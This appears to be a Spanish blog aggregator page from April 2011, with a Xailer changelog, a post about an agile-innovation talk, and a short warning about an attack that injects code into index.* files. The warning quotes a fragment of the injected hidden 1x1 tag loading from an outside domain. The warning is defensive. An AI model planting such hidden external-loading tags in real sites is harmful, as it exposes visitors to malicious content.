- MySql: Bug en Day(), Month() y Year() con fechas vacias guardadas como cadenas
- Controles
- TComboBox: Compatibilidad con WINE en linux
- TRichEdit: Nuevas propiedades lProtected, lSmallCaps, nHighLight y métodos HasText(), GetFirstVisibleLine(), GoBotom(), GoTop(), SetProtected() y SetSmallCaps()
- TRichEdit: Liberada la memoria del menu oPopup
- TRichEdit: Modificado FindText() para que devuelva .T. si encontrado y .F. si no
- TOptionList: Soporte de eventos OnLButtonDown y OnClick en zonas sin items
- TBrwColumn: Control de headers en varias lineas para construccion del menu contextual
- Otras clases
- TApplication: Cambio punto de comprobación de datasources cerrados
[El equipo de Xailer]
» Leer más, comentarios, etc...
Najaraba.com: Software libre, metodologías ágiles y más.
Presentación: “Agilismo como proceso de Innovación”
Abril 15th, 2011 - [Enlace local]
Os comparto la presentación utilizada en la Feria #KreaBidasoa. Expresé las ideas de mi anterior post: Agilismo como proceso de Innovación, terminando con una pequeña introducción a Scrum. Agiles como proceso de Innovación View more presentations from Jose Ramón Díaz
» Leer más, comentarios, etc...
Buayacorp
Un extraño ataque modifica los archivos index.*
Abril 15th, 2011 - [Enlace local]
Hace ya casi un mes se ha detectado un ataque de inyección de código que sólo ataca a los ficheros con nombre index (index.htm, index.html, index.php) y añade la siguiente línea de código:
heigth="1" width="1" border="0" src="http://myteenmovies.net/t.php?id=xxxxxxx">No es específico de un CMS, simplemente cualquier sitio puede estar afectado. Como prueba se puede hacer una búsqueda en internet y ver los resultados.
Nunca está demás revisar aunque al parecer ya está siendo controlado
Vía: Alcance Libre
» Leer más, comentarios, etc...
Buayacorp
Oh! Hi IE6 :)
Abril 15th, 2011 - [Enlace local]





















